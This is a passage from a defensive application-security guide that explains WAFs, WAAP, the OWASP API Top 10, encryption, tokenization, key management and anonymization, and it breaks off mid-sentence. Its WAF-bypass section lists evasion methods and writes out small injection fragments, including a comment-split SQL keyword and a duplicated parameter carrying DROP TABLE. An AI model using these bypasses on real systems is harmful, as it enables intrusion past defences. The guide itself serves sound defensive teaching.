     script, or a database `UPDATE ... WHERE count < limit` with a
     rows-affected check, Ch 35) -- never a separate read then write.
   IDENTITY CYCLING       create a new account / new API key / new OAuth
     client registration to get a fresh limit once the old one is
     exhausted. -> defence: limits keyed on signals that survive identity
     rotation where possible (device fingerprint, payment instrument, a
     CAPTCHA/proof-of-work gate on account/key creation itself -- this is
     exactly where WAAP's bot-management layer, Ch 40D, adds a dimension
     a pure rate limiter can't).
   SLOW-AND-LOW           stay just under the threshold, indefinitely,
     across a long time horizon -- individually invisible to any
     short-window limiter. -> defence: longer-window, cumulative anomaly
     detection (Part 8's UEBA/DAM-style baselining) layered ABOVE simple
     rate limiting, not as a replacement for it.

How it works

What a WAF actually does:

   An L7 REVERSE PROXY or INLINE FILTER that inspects each request
   (and sometimes the response) against a rule set before allowing it
   through to the origin application:
     - pattern/signature matching against known attack strings (a SQLi
       fragment, an XSS tag, a path-traversal sequence).
     - ANOMALY SCORING: rather than a single rule blocking outright, each
       matched pattern adds to a score; the request is blocked only once
       the CUMULATIVE score crosses a threshold (this is how OWASP CRS's
       "paranoia levels" work -- higher paranoia = more rules contribute
       to the score = more false positives, traded for more coverage).
     - RATE-BASED RULES: block a source exceeding N requests in a window
       (a coarse rate limiter living inside the WAF, Ch 40B).
     - VIRTUAL PATCHING: a rule written specifically to block exploitation
       of a KNOWN, disclosed vulnerability in your stack (a CVE in a
       framework or library) WHILE the real code fix works its way through
       your Ch 59 vulnerability-management SLA -- the WAF buys you time,
       it doesn't replace the patch.

Negative vs positive security, restated at the WAF layer (same principle as Ch 40A):

   NEGATIVE (signature/blocklist)   ModSecurity + the OWASP Core Rule Set
     (CRS) is the standard open-source reference implementation -- broad
     coverage out of the box, tunable paranoia levels, but fundamentally
     playing catch-up against novel encodings and bypasses.
   POSITIVE (allowlist)             define exactly what's valid for THIS
     application/endpoint (schemas, expected methods/paths/parameters)
     and reject deviations -- far more effective, far more engineering
     effort, and exactly what Ch 40A's payload schemas and a WAAP
     platform's learned API schema (Ch 40D) both move toward.
   Most real deployments run BOTH: broad negative-security managed rules
   as the baseline, with positive-security schema/API-shape enforcement
   layered on top for the endpoints that matter most.

Where a WAF is deployed:

   CDN EDGE           Cloudflare, Akamai, Fastly -- inspects traffic
     before it even reaches your infrastructure; also the natural home
     for volumetric DDoS absorption.
   LOAD BALANCER /
   API GATEWAY         AWS WAF attached to CloudFront/ALB/API Gateway,
     Azure WAF on Application Gateway/Front Door -- managed rule groups
     (SQLi, XSS, known-bad-inputs, Log4j-class rules) plus custom rules
     you author.
   REVERSE PROXY        self-hosted ModSecurity (or Coraza, its modern
     Go reimplementation) in front of nginx/Apache -- full control, full
     operational burden.
   COMMERCIAL/DEDICATED  F5 Advanced WAF, Imperva, Akamai Kona -- deeper
     app-specific tuning and support, at real licensing cost.

Bypass techniques — a WAF is a parser too, and parser disagreements are exactly this guide's Part 6 Ch 30 theme, applied to the WAF itself:

   ENCODING            double URL-encoding, mixed case, Unicode
     normalisation tricks (G1 Ch 7), inline SQL comments to split a
     signature (`UNI/**/ON SEL/**/ECT`), null-byte and whitespace
     insertion -- all aim to make the PAYLOAD's ON-THE-WIRE FORM not
     match a signature while the BACKEND still interprets it as the
     dangerous pattern after its own decoding/normalisation.
   HTTP PARAMETER
   POLLUTION            sending the same parameter twice
     (`?id=1&id=DROP+TABLE`) -- the WAF and the backend framework may
     each pick a DIFFERENT one of the duplicates to actually inspect vs
     act on (structurally the same "two components disagree about what
     the message means" bug as request smuggling and Ch 40A's duplicate-
     JSON-key problem).
   CONTENT-TYPE
   MISMATCH             a WAF tuned to inspect `application/x-www-form-
     urlencoded` bodies may not parse a payload sent as
     `application/json` (or vice versa, or as multipart) at all -- Ch 40A's
     "reject unexpected content types" rule is ALSO a WAF-bypass defence.
   REQUEST SMUGGLING     the most complete bypass of all: Ch 30's CL/TE
     desync lets an attacker smuggle a SECOND request past the WAF
     entirely -- the WAF only ever sees and inspects the FIRST, outer
     request; the smuggled one reaches the backend unfiltered. This is
     precisely why Ch 30's fix (consistent parsing, HTTP/2 end-to-end,
     no back-end connection reuse across clients) matters even when a
     WAF is in front of everything.
   OVERSIZED/FRAGMENTED
   PAYLOADS              padding a request with a large amount of junk
     before the actual payload, or splitting the payload across many
     small chunks, can exceed a WAF's inspection BUFFER SIZE -- content
     past the inspected portion sails through unchecked while the
     backend happily reassembles and processes the whole thing.
   LOGIC/BUSINESS-FLOW
   BYPASSES              a WAF understands HTTP syntax, not YOUR
     application's business rules -- it has nothing to say about Ch 35's
     race conditions, Ch 40B's business-flow abuse (API6), or a broken
     authorization check (BOLA/BFLA) that uses entirely well-formed,
     signature-clean requests.

How it works

Why WAF alone stops being enough for modern APIs:

   A WAF reasons about individual requests against known-bad PATTERNS.
   It has no answer for:
     - CREDENTIAL STUFFING: valid-looking login requests, correctly
       formatted, using STOLEN (but syntactically perfect) credentials --
       there's no "attack signature" to match.
     - SCRAPING: a script systematically pulling every product/profile
       page at human-plausible request rates, spread across many
       source IPs.
     - SHADOW/ZOMBIE APIs: an old API version, a debug endpoint, or a
       partner-only route that's still live in production but was never
       inventoried, documented, or included in the WAF's own rule scope --
       a WAF can only protect what it knows exists.
     - GRAPHQL/gRPC-SHAPED ABUSE: a single, well-formed GraphQL query can
       request an enormous, expensive result set (Part 6's complexity-
       limit discussion) -- nothing about the REQUEST'S SYNTAX looks
       malicious.
   WAAP is the market's answer: fold BOT MANAGEMENT, API DISCOVERY, and
   API-SCHEMA-AWARE enforcement into the same edge platform as the WAF.

The components:

   BOT MANAGEMENT
     - FINGERPRINTING: TLS/JA3/JA4 client fingerprinting (identifying the
       TLS library/stack making the request, independent of the User-
       Agent header, which is trivial to fake), HTTP/2 fingerprinting,
       browser-execution challenges (does this client actually run
       JavaScript like a real browser?).
     - BEHAVIOURAL ANALYSIS: request timing/rhythm, navigation patterns,
       mouse/touch telemetry on the client side -- distinguishing a human
       from a script even when the script fakes a plausible User-Agent
       and rate.
     - CLASSIFICATION AND POLICY: allow known-good bots (search engine
       crawlers, uptime monitors -- verified by reverse-DNS/IP-range,
       not just a claimed User-Agent), CHALLENGE ambiguous traffic
       (CAPTCHA, a JS proof-of-work), and BLOCK confirmed-bad traffic
       (known botnet ranges, confirmed credential-stuffing signatures).
   API DISCOVERY AND INVENTORY
     - passively observes ALL traffic through the edge and builds a
       CATALOGUE of every endpoint, method, and parameter actually being
       called -- including ones NOBODY documented.
     - flags DEPRECATED endpoints still receiving live traffic, and
       UNDOCUMENTED endpoints with no matching entry in your OpenAPI
       spec -- this is the direct, practical answer to OWASP
       API9:2023 "Improper Inventory Management" (Ch 40E).
     - can compare observed traffic AGAINST your published API spec and
       flag drift (a field being sent that isn't documented, an endpoint
       accepting a method it shouldn't).
   SCHEMA ENFORCEMENT AT THE EDGE
     - ingest your OpenAPI/GraphQL schema directly into the edge platform
       and enforce it there -- the Ch 40A payload-validation discipline,
       applied BEFORE traffic even reaches your gateway, catching
       malformed/unexpected payloads at the network edge.
   L7 (APPLICATION-LAYER) DDoS PROTECTION
     - distinct from L3/L4 volumetric floods (raw packet/connection
       volume, which a network-layer scrubbing service handles): an L7
       attack sends a FLOOD OF VALID-LOOKING REQUESTS (e.g. a search
       endpoint hit millions of times with varying, legitimate-looking
       queries) that overwhelms application capacity while looking, to a
       naive filter, like real traffic. Distinguishing this from a
       genuine traffic spike needs the SAME bot-management/behavioural
       signals as credential-stuffing detection.
   CLIENT-SIDE / SUPPLY-CHAIN PROTECTION
     - monitors the JAVASCRIPT actually running in users' browsers for
       unauthorised changes -- catching FORMJACKING/MAGECART-style
       attacks (a compromised third-party script skimming payment-form
       data client-side) that live entirely outside your own server-side
       WAF's view. This is G1 Ch 47's supply-chain concern, applied to
       the BROWSER rather than the build pipeline.

Products, so the landscape is concrete: Cloudflare (WAF + Bot Management + API Shield as one integrated product), AWS (WAF + Shield + newer API-Gateway- native protections), Akamai (App & API Protector), F5 Distributed Cloud, Imperva, and API-security-specialist platforms that were built API-discovery- first (Salt Security, Noname Security — both later acquired into larger security platforms, reflecting the market consolidating around exactly this "WAF plus API-aware discovery" combination).

How it works

The full list, each mapped to where the real control lives:

   API1:2023  BROKEN OBJECT LEVEL AUTHORIZATION (BOLA)
     an endpoint returns/modifies an object by ID without confirming the
     CALLER actually owns/may access that specific object.
     -> CONTROL: ownership in the query (G1 Ch 45), a ReBAC check per
        object (Part 5 Ch 25), RLS as the structural backstop (Part 5
        Ch 27). Still the #1 real-world API finding, by a wide margin.

   API2:2023  BROKEN AUTHENTICATION
     weak token validation, missing MFA on sensitive flows, predictable
     API keys, tokens that never expire.
     -> CONTROL: G1 Ch 46 (session/JWT hygiene, OAuth/OIDC done
        correctly), Part 6 Ch 39 (advanced OAuth/SAML attacks and their
        fixes).

   API3:2023  BROKEN OBJECT PROPERTY LEVEL AUTHORIZATION
     (merges the older "excessive data exposure" and "mass assignment"
     categories) -- an endpoint returns MORE fields than the caller
     should see, or accepts MORE fields than it should, on an object the
     caller IS otherwise allowed to touch.
     -> CONTROL: Ch 40A's `additionalProperties: false` + explicit
        response-shaping DTOs (return exactly the fields the caller is
        authorized to see, never "the whole model minus a blocklist").

   API4:2023  UNRESTRICTED RESOURCE CONSUMPTION
     no limits on request size, response size, pagination, execution
     time, or number of concurrent requests -- the API can be starved or
     made to do disproportionate work per request.
     -> CONTROL: Ch 40B (rate limiting, all dimensions), Part 5 Ch 28
        (timeouts, bulkheads, complexity limits), Ch 40A (payload
        size/depth limits).

   API5:2023  BROKEN FUNCTION LEVEL AUTHORIZATION (BFLA)
     an endpoint that performs a PRIVILEGED action is reachable by a
     caller who holds the right kind of token but the WRONG role/
     permission level -- distinct from API1 (which is about object
     OWNERSHIP, not function/role).
     -> CONTROL: G1 Ch 45 (role checks server-side on every request),
        Part 5 Ch 25 (a centralised policy engine so this isn't a
        scattered, inconsistent per-handler check).

   API6:2023  UNRESTRICTED ACCESS TO SENSITIVE BUSINESS FLOWS
     a flow that's technically authenticated and authorized but has NO
     limit on how many times a legitimate-looking caller can execute it
     -- enabling abuse that's a BUSINESS problem, not a technical
     vulnerability in the classic sense: TICKET-SCALPING BOTS buying up
     concert/event tickets faster than any human could, SNEAKER-BOT
     economies automating limited-release purchases, mass fake-account
     creation for promo-code abuse, automated gift-card-balance checking.
     -> CONTROL: Ch 40B's BUSINESS-FLOW-SPECIFIC rate limiting (distinct
        from general API rate limits), WAAP bot management (Ch 40D) to
        distinguish automated purchasing from real customers, and often
        a genuine PRODUCT decision (queue systems, purchase-limit
        enforcement) as much as a technical one -- this is the newest
        item on the 2023 list and the one most organisations have the
        LEAST existing tooling for, because it sits between security and
        fraud/product teams.

   API7:2023  SERVER SIDE REQUEST FORGERY (SSRF)
     -> CONTROL: Part 6 Ch 33 in full (resolve-validate-pin-connect,
        network isolation, no redirects).

   API8:2023  SECURITY MISCONFIGURATION
     default credentials, verbose errors, missing security headers,
     unnecessary HTTP methods enabled, permissive CORS.
     -> CONTROL: Part 3's IaC/policy-as-code gates (Ch 11), Ch 58's
        SSDLC scanning, G1's CORS/headers material -- this is the
        broadest category and the one MOST addressed by simply running
        the rest of this guide's practices continuously.

   API9:2023  IMPROPER INVENTORY MANAGEMENT
     undocumented, deprecated, or unmonitored API versions/endpoints
     still reachable in production.
     -> CONTROL: Ch 40D's API discovery, Part 7 Ch 41's classification-
        and-inventory discipline applied to the API surface, and a hard
        "no endpoint ships without being in the spec" CI gate (Ch 58).

   API10:2023  UNSAFE CONSUMPTION OF APIs
     trusting data FROM a third-party API (a partner integration, a
     payment webhook, a data-enrichment service) with LESS scrutiny than
     you'd apply to direct user input -- rendering an untrusted field
     without encoding (a stored-XSS vector via "trusted" upstream data),
     following a redirect the third party returned without revalidating
     it (an SSRF-adjacent trust transfer), or deserializing a webhook
     payload without verifying its SIGNATURE first (G1 Ch 11's HMAC/
     webhook-verification material, which THIS item makes explicit as a
     named risk category rather than an implicit best practice).
     -> CONTROL: treat every external API response exactly like user
        input -- output-encode it (G1 Ch 43), verify webhook signatures
        before processing (G1 Ch 11), schema-validate it (Ch 40A) before
        using it, and never assume a partner's data is safe because the
        CONNECTION to them is authenticated (the connection being
        trusted says nothing about the CONTENT being safe).

The two items worth a second look, because they're the ones most teams under-invest in:

   API6 (business flows) sits at the boundary between security and
   fraud/product -- the fix is often organisational as much as technical
   (does your fraud team and your security team even talk to each other
   about the same abuse patterns?). Don't let it fall through that gap
   just because it doesn't look like a classic "vulnerability."

   API10 (unsafe consumption) inverts the direction everyone is trained
   to think in: security review habitually asks "is our INPUT validation
   good enough?" and rarely asks "do we validate what WE receive FROM
   other systems with the same rigor?" Audit your outbound integrations
   with the same checklist you'd apply to an inbound endpoint.

How it works

Classification tiers (a workable default):

   PUBLIC          marketing pages, published docs. No control needed.
   INTERNAL        internal wikis, non-sensitive metrics. Basic access
                   control.
   CONFIDENTIAL    business data, non-regulated customer data, source
                   code. Access control + encryption in transit +
                   logging.
   RESTRICTED      regulated categories: PII, PHI, PCI cardholder data,
                   auth secrets, biometrics, precise location, children's
                   data. Every control in this Part: encryption at rest
                   with a real key hierarchy, strict least-privilege
                   access, DLP, erasure support, residency awareness.

   Map REGULATORY CATEGORIES onto tiers, don't invent new taxonomy:
     PII (GDPR/CCPA "personal data" -- broader than people expect: an IP
       address, a device ID, a cookie ID, an email, precise location are
       ALL personal data under GDPR), PHI (HIPAA), PCI cardholder data
       (PAN, expiry, CVV -- CVV must NEVER be stored, G1 Ch 50),
       "special category" / sensitive data (health, biometric, racial/
       ethnic origin, religious belief, sexual orientation, political
       opinion -- GDPR Art. 9, extra restrictions), children's data
       (COPPA, GDPR Art. 8), secrets (keys, credentials -- G1 Ch 49).

Records of Processing Activities (RoPA) — GDPR Art. 30, and worth doing even if GDPR doesn't apply to you:

   For each processing activity, record:
     purpose            why you process this data
     categories of data subjects   customers, employees, prospects...
     categories of data           the classification tiers above, itemised
     recipients                    who you share it with (processors,
                                   sub-processors, other controllers)
     transfers                     to which countries (Ch 47)
     retention period              how long, and the deletion trigger
     security measures             a pointer to the controls in this Part

   This single document (kept current, not written once for an audit) is
   what makes a DSAR (Ch 46), a breach scoping exercise (G1 Ch 51), and a
   DPIA (Part 1 Ch 4's LINDDUN, and below) all tractable instead of
   archaeology.

Data-flow mapping (the technical companion to RoPA):

   A diagram (kept as code, alongside the threat model, Part 1 Ch 4) of:
     - every SOURCE of restricted data (signup form, webhook, import,
       third-party API, support ticket).
     - every STORE it lands in (primary DB, cache, search index, object
       storage, warehouse, logs, backups, a vendor's system).
     - every FLOW between them, and whether it crosses a trust or
       jurisdictional boundary.
     - every CONSUMER (a service, a human role, a third party, an
       analytics pipeline, an LLM feature).
   This is what lets you answer, in minutes rather than weeks: "if this
   customer asks us to delete their data, where do we have to go?"
   (Ch 46), "does this feature move EU data to a US region?" (Ch 47),
   "who can currently read this column?" (Ch 49).

Doing it in practice — automated discovery, because manual inventories rot:

   [ ] TAG at creation, not after the fact: every new table/column,
       bucket, topic, and log stream gets a classification tag in code
       review / IaC (Part 3), enforced by policy (a Kyverno/OPA/Terraform
       policy that requires a `data-classification` label).
   [ ] SCAN for what tagging misses: AWS Macie (PII in S3), GCP Sensitive
       Data Protection / DLP API, Azure Purview, or a self-hosted scanner
       (Presidio, an open-source PII detector) run continuously across
       storage, databases, and logs.
   [ ] REVIEW quarterly: reconcile the automated findings against the
       RoPA and the data-flow map; anything unclassified is a finding,
       not a shrug.
   [ ] CONNECT to every downstream control: your encryption policy
       (Ch 42), your erasure orchestrator (Ch 46), your access-review tool
       (Ch 49), and your DLP rules (Ch 49) should all key off these tags,
       not a separate parallel list.

How it works

What "encrypted at rest" actually protects, by layer:

   FULL-DISK / STORAGE-LAYER ENCRYPTION (EBS, RDS storage encryption,
   TDE-at-the-storage-engine)
     protects against: a stolen physical disk, an improperly decommissioned
       drive, a snapshot copied to the wrong place, a cloud provider's
       storage layer being compromised (defence in depth for THEM).
     does NOT protect against: the running database process reading data
       (it decrypts transparently), a compromised app with valid DB
       credentials, a malicious DBA with query access, a SQL injection
       that reads the table. If the app can always ask the DB for
       plaintext, disk encryption is invisible to that threat.

   TRANSPARENT DATA ENCRYPTION (TDE) -- SQL Server/Oracle/some Postgres
   extensions
     same threat model as storage-layer: the engine holds the key and
     decrypts for any authenticated query. Convenient, zero app changes,
     but doesn't narrow "who can read this column" beyond DB access
     control.

   APPLICATION-LAYER / FIELD-LEVEL ENCRYPTION
     the APPLICATION encrypts specific fields before they ever reach the
     database, using a key the database itself never has.
     protects against: EVERYTHING above, PLUS a compromised database
       server, a malicious DBA, a misconfigured DB-wide grant, a backup
       exfiltrated whole, an ORM bug that returns more columns than
       intended, a BYPASSRLS query (Part 5 Ch 27).
     costs: you lose native SQL operations on that field (can't `WHERE
       email = ?` directly, can't sort/range-query, indexing needs care)
       unless you add blind indexing (below); more engineering; key
       management is now your job, not the DB engine's.

   THE RULE: use storage-layer/TDE as the baseline for everything (cheap,
   no downside). Add APPLICATION-LAYER encryption for the specific fields
   where the threat model includes "the database itself is
   compromised, or a DBA/analyst with DB access is the threat" -- which,
   for RESTRICTED data (Ch 41), it should.

Field-level encryption, built on envelope encryption (Part 2 Ch 9):

   PER-FIELD:
     ciphertext = AES-256-GCM(plaintext, DEK, nonce, AAD=field_name+
                               record_id+tenant_id)
     DEK wrapped by a PER-TENANT CMK (Part 2 Ch 9) -- offboarding =
     crypto-shred that tenant's key (Ch 46).
   WHERE DOES DECRYPTION HAPPEN?
     - in the application service that legitimately needs the plaintext
       (most common; the service holds the KMS permission).
     - in a dedicated CRYPTO SERVICE / sidecar that every other service
       calls via an API ("encrypt this", "decrypt this") -- centralises
       key access, audit, and rotation logic; other services never touch
       KMS directly. Good when many services need the same fields.
     - NEVER at the DB proxy transparently for everyone -- that
       re-creates the TDE threat model with extra steps.
   SEARCHING ENCRYPTED FIELDS -- the real trade-off:
     - DETERMINISTIC encryption (same plaintext -> same ciphertext,
       always) enables equality lookups (`WHERE email_enc = ?`) but LEAKS
       equality and frequency (an attacker with ciphertext access learns
       which rows share a value, and can build a frequency-analysis
       dictionary for low-entropy fields).
     - BLIND INDEXING: store an HMAC (keyed, NOT reversible) of the
       normalised plaintext alongside the (randomised, non-deterministic)
       ciphertext. Query by computing the same HMAC and matching the
       index column. Leaks less than deterministic encryption (no
       frequency info if you also add per-tenant HMAC keys) but still
       permits equality-only lookup; range/partial queries are not
       possible without leaking more (see searchable encryption research,
       and Format-Preserving Encryption, Ch 43, for a different trade-off).
     - Simplest and often right: DON'T index/search the encrypted field at
       all; look up by a non-sensitive key (user_id) and decrypt after
       fetching the row.

What must never be plaintext, ever, regardless of the above: passwords (hashed, not encrypted, G1 Ch 10), CVV/CVC (never stored at all, G1 Ch 50), and raw payment card numbers where tokenization (Ch 43) is available instead of encryption.

How it works

Tokenization models:

   VAULT-BASED (the common, safest default)
     A dedicated TOKEN VAULT stores: token <-> encrypted-original mapping.
     Generating a token: pick a random value (or a counter/UUID), store
     the mapping, return the token. DETOKENIZING requires calling the
     vault's API with its own strict authorization -- most systems never
     get this permission.
     + tokens are provably non-reversible outside the vault (no math
       relates token to value -- a stolen token is worthless anywhere
       else).
     + the vault is a small, hardened, easy-to-audit system -- ONE thing
       to lock down instead of every system that touches the data.
     - the vault itself is now extremely high-value: a single point of
       failure and a single point of compromise for every token it holds.
       It must be the most hardened thing you run (HSM-backed, strict
       network isolation, its own strict access model, Ch 44 practices).

   VAULTLESS / FORMAT-PRESERVING ENCRYPTION (FPE)
     Uses a deterministic, keyed algorithm (NIST SP 800-38G: FF1 or
     FF3-1) that encrypts a value while PRESERVING ITS FORMAT: a 16-digit
     card number encrypts to another valid-looking 16-digit number; an
     SSN to another 9-digit number. No vault lookup needed -- any system
     with the key can tokenize/detokenize algorithmically.
     + fits into legacy schemas/validation with zero schema changes (the
       "token" passes existing length/Luhn-style checks).
     + no vault availability dependency.
     - it IS encryption (reversible with the key) -- for compliance
       purposes this is usually treated as encryption, not full
       tokenization, so scope reduction is weaker unless the KEY itself
       is kept in a separately-scoped, hardened system (which reintroduces
       most of the vault's requirements).
     - deterministic by nature (same input, same output) -- same
       frequency-leak caveat as Ch 42's deterministic encryption.

   Most PCI tokenization products (Stripe, Braintree, a dedicated
   provider, or a self-hosted vault like HashiCorp Vault's "Transform"
   secrets engine in FPE or tokenization mode) offer BOTH modes; pick
   vault-based when scope reduction is the goal.

PCI-DSS scope reduction — the actual payoff:

   WITHOUT TOKENIZATION: every system that stores, processes, or
   transmits the PAN (primary account number) is in the CARDHOLDER DATA
   ENVIRONMENT (CDE) -- full PCI-DSS requirements apply: network
   segmentation, quarterly scans, extensive logging, restricted access,
   annual assessment, etc. For a typical app, that's checkout, order
   history, refunds, support tooling, analytics, backups... a LOT of
   scope.

   WITH TOKENIZATION (using a PCI-validated tokenization provider or a
   properly-scoped vault): the PAN touches ONLY the payment gateway /
   tokenization service (which handles its own PCI compliance) at the
   moment of capture. Every other system -- order history, support,
   analytics, your own database -- stores and uses the TOKEN, which is
   NOT cardholder data. Those systems drop OUT of the CDE.
   SAQ (Self-Assessment Questionnaire) type shrinks accordingly (e.g.
   SAQ A/A-EP for a fully outsourced, tokenized flow, vs the much heavier
   SAQ D for handling PANs directly).

   THE VAULT/GATEWAY ITSELF stays fully in scope, hardened to the whole
   standard -- which is exactly the point: you concentrate the compliance
   burden into ONE small, well-defended system instead of spreading
   "handle real card numbers carefully" across every service that
   touches an order.

   The equivalent logic applies OUTSIDE payments: tokenize SSNs, national
   IDs, or health-record identifiers to shrink the number of systems that
   need HIPAA/state-privacy-law-level controls.

How it works

The lifecycle:

   GENERATION
     always a CSPRNG (G1 Ch 12), ideally inside an HSM/KMS that never
     exports the raw key material for root/master keys. For BYOK
     (bring-your-own-key), generate offline with a real entropy source
     and import via the provider's secure import ceremony (wrapped with
     the provider's public wrapping key -- never transmitted in the
     clear).

   THE HIERARCHY (recap and extend Part 2 Ch 9):
     ROOT / MASTER KEY (HSM-backed, rarely touched, the ultimate trust
       anchor -- e.g. your KMS's root of trust, or an offline root CA key
       for signing, G1 Ch 29)
       -> INTERMEDIATE / CUSTOMER MASTER KEYS (per environment, per
          tenant -- these are what you actually reference in policy)
          -> DATA ENCRYPTION KEYS (ephemeral, per-object/per-field,
             wrapped by the CMK, never stored unwrapped)
     Splitting the hierarchy this way means ROTATING the top of the tree
     is cheap (re-wrap the layer below; you don't have to touch the
     bulk data) while the ROOT changes rarely and under heavy control.

   DISTRIBUTION
     never transmit a raw key over an unauthenticated or unencrypted
     channel. Envelope encryption (Part 2 Ch 9) is itself a distribution
     mechanism -- the DEK travels ONLY in its wrapped form; only the KMS
     call unwraps it, in memory, for the instant it's needed.

   ROTATION -- two different things people conflate:
     BACKING-KEY ROTATION ("rotate the CMK"): the KMS creates a NEW key
       VERSION under the same key ID; NEW encrypt/wrap operations use the
       new version; OLD ciphertext remains decryptable because the KMS
       keeps old versions available. Cheap, usually automatable
       (annual auto-rotation is a checkbox in most cloud KMS), and does
       NOT require touching your bulk data.
     DATA RE-ENCRYPTION ("actually re-encrypt everything under a new
       key"): required when you suspect the OLD key material itself is
       compromised (not just "it's been a year"), or a compliance
       standard mandates a hard cryptoperiod. Expensive -- you must
       decrypt-then-re-encrypt every object/record. Plan for it (batch
       jobs, versioned ciphertext format with a key-id prefix so you can
       migrate incrementally) rather than discovering you can't do it
       during an incident.
     Because DEKs are generated per-object/per-field and wrapped by the
     CMK, "rotating the CMK" (cheap) already limits the blast radius of a
     CMK compromise going forward -- new data uses the new version
     immediately. It's the OLD data, still wrapped by the old version,
     that needs the expensive path if that old version is the one that
     leaked.

   ESCROW AND BACKUP -- deliberately, not accidentally:
     Disaster recovery needs SOME way to recover keys if a region/HSM is
     lost -- multi-region KMS replication, or an offline backup of a root
     key under strict M-of-N control (below). This is legitimate and
     necessary.
     The RISK version of the same idea is a backdoor: a key escrowed
     "for support purposes", a master key one person can export, a
     vendor with unilateral key access. Every escrow path must be
     justified, access-controlled as tightly as the key itself, and
     logged -- treat "can this key be recovered by someone other than an
     authorized custodian following a documented procedure" as a
     standing audit question.

   DESTRUCTION / CRYPTO-SHREDDING
     see Part 2 Ch 9 and Ch 46 -- destroying the key that wraps a dataset
     makes that dataset permanently unrecoverable, which is how you
     satisfy erasure requests and tenant offboarding across every copy
     (including backups) simultaneously, PROVIDED no plaintext copy or
     unwrapped-key copy exists elsewhere (verify this, don't assume it).

   ALGORITHM AGILITY
     key metadata should record the ALGORITHM and PARAMETERS it was
     created under (G1 Ch 25's crypto-agility principle, applied to keys
     specifically) so a future migration (e.g. a post-quantum signing key
     rotation) is a planned rollover, not an archaeology project.

HSM operations and key ceremonies (for root/master keys):

   FIPS 140-2/3 Level 2 or 3 hardware for root keys -- tamper-evidence
   (L2) or tamper-response (L3), so key extraction requires defeating
   physical protections, not just software access.

   SPLIT KNOWLEDGE / DUAL CONTROL / M-of-N: no single person can
   reconstruct a root key alone. A KEY CEREMONY generates the key inside
   the HSM (it never exists outside it) and splits any BACKUP/recovery
   material into N shares held by different custodians, requiring M of
   them (e.g. 3 of 5) to reconstruct -- and reconstruction itself happens
   inside a controlled ceremony, logged, witnessed, rare.
   (This is exactly how DNSSEC root-zone key ceremonies and most
   certificate authority root-key generations work -- publicly documented
   processes worth reading once for the model.)

   SEPARATION OF DUTIES: whoever administers KEYS (creates, rotates,
   sets policy) should not be the same role that administers the DATA
   those keys protect, and vice versa. A single compromised admin account
   then can't both access the data AND grant itself the key to decrypt
   it.

   MONITORING: every key USE (encrypt/decrypt/sign) and every key ADMIN
   action (create, rotate, policy change, delete) is logged (Part 2 Ch 9's
   CloudTrail example) and reviewed; a spike in decrypt calls for one key,
   or a policy change outside a change window, is a detection rule
   (Ch 54), not just an audit artefact.

   BYOK vs HYOK vs cloud-managed:
     cloud-managed key       simplest; provider generates and holds it.
     BYOK (bring your own)   you generate the root key material (often in
                              your own HSM) and import it into the
                              provider's KMS -- you control generation,
                              the provider operates the service.
     HYOK (hold your own /
       external key manager)  the key material NEVER enters the
                              provider's environment; an EXTERNAL KEY
                              STORE (AWS XKS, GCP External Key Manager)
                              on YOUR infrastructure services
                              encrypt/decrypt calls -- maximum control,
                              maximum operational burden, and a hard
                              dependency: if your external KMS is down,
                              the cloud provider cannot decrypt ANYTHING
                              that depends on it, including their own
                              support access.

How it works

Pseudonymization vs anonymization (the legal line, GDPR Recital 26):

   PSEUDONYMIZATION  replace direct identifiers with a pseudonym (a
     token, a hash) but keep the ADDITIONAL INFORMATION that could map it
     back, held separately. STILL PERSONAL DATA under GDPR -- because
     it's re-identifiable "with additional information", even if you
     don't currently intend to use it. Good practice (reduces exposure,
     is a recognised risk-reduction measure), but does NOT take data out
     of scope for erasure requests, breach notification, etc.

   ANONYMIZATION  irreversibly processed such that the data subject is NO
     LONGER IDENTIFIABLE by ANY means reasonably likely to be used
     (considering cost, time, and available technology -- this bar is
     genuinely high and gets HIGHER as more auxiliary data becomes
     public). Only TRUE anonymization is outside GDPR scope entirely.
     Most "anonymized" datasets in practice are actually pseudonymized,
     or worse, naively de-identified and re-identifiable (below).

Why naive de-identification fails — the re-identification record:

   Latanya Sweeney (1997): cross-referenced "anonymized" Massachusetts
     hospital discharge records (with ZIP, birth date, sex kept) against
     public voter rolls -> identified the state's GOVERNOR's own medical
     records. Showed 87% of the US population is uniquely identifiable
     by {ZIP code, birth date, sex} alone -- three "harmless" quasi-
     identifiers.
   AOL search-log release (2006): "anonymized" by replacing usernames
     with numeric IDs; journalists identified user "4417749" from the
     CONTENT of her searches alone (she'd searched her own town,
     relatives' names). No cross-referencing needed -- the data itself
     was identifying.
   Netflix Prize dataset (2008, Narayanan & Shmatikov): movie ratings
     with usernames stripped were re-identified by cross-referencing
     timing and rating patterns against PUBLIC IMDb reviews -- showing
     that even sparse, high-dimensional "anonymous" data is often
     uniquely fingerprinting.
   Strava heatmap (2018): aggregated, anonymized fitness-tracker activity
     data revealed the LAYOUT of classified military bases via runners'
     GPS patterns -- a reminder that AGGREGATION isn't automatically safe
     either when the population is small or the pattern itself is
     identifying.

   THE LESSON: removing "obvious" identifiers (name, email, SSN) is not
   anonymization. QUASI-IDENTIFIERS (ZIP, birth date, gender, job title,
   rare combinations of attributes) and even raw CONTENT/BEHAVIOUR can
   re-identify people, especially when combined with other public or
   purchasable datasets.

Formal techniques (each solves a specific weakness of the last):

   K-ANONYMITY (Sweeney)
     generalise/suppress quasi-identifiers so EVERY combination
     of them is shared by at least K records (e.g. group ages into
     10-year bands, ZIP to 3 digits, until any {age-band, ZIP3, gender}
     group has >= K people).
     WEAKNESS: homogeneity attack -- if all K records in a group share the
     SAME sensitive value (e.g. all have the same diagnosis), knowing
     someone is in the group reveals it regardless of anonymity set size.

   L-DIVERSITY
     extends k-anonymity: each group must also have at least L
     "well-represented" distinct values for the sensitive attribute --
     fixes the homogeneity attack.
     WEAKNESS: skewness/similarity attack -- if the L values are all
     similar in a way that still leaks (e.g. "flu" vs "severe flu" vs
     "mild flu" are technically 3 distinct values but all reveal "has
     flu"), or if the overall distribution is heavily skewed, l-diversity
     alone can still leak.

   T-CLOSENESS
     further requires the DISTRIBUTION of the sensitive attribute within
     each group to be close (within threshold t) to its distribution in
     the WHOLE dataset -- so being in a group reveals little beyond what
     you'd already infer from the population at large.
     Together, k-anonymity -> l-diversity -> t-closeness is a progression
     of patches, each closing a specific attack the previous one missed --
     useful for STATIC, RELEASED datasets, but brittle and doesn't compose
     well across multiple releases or queries.

   DIFFERENTIAL PRIVACY (the modern, composable answer)
     a formal, mathematical guarantee: the output of a query/analysis is
     (almost) indistinguishable whether or not ANY SINGLE individual's
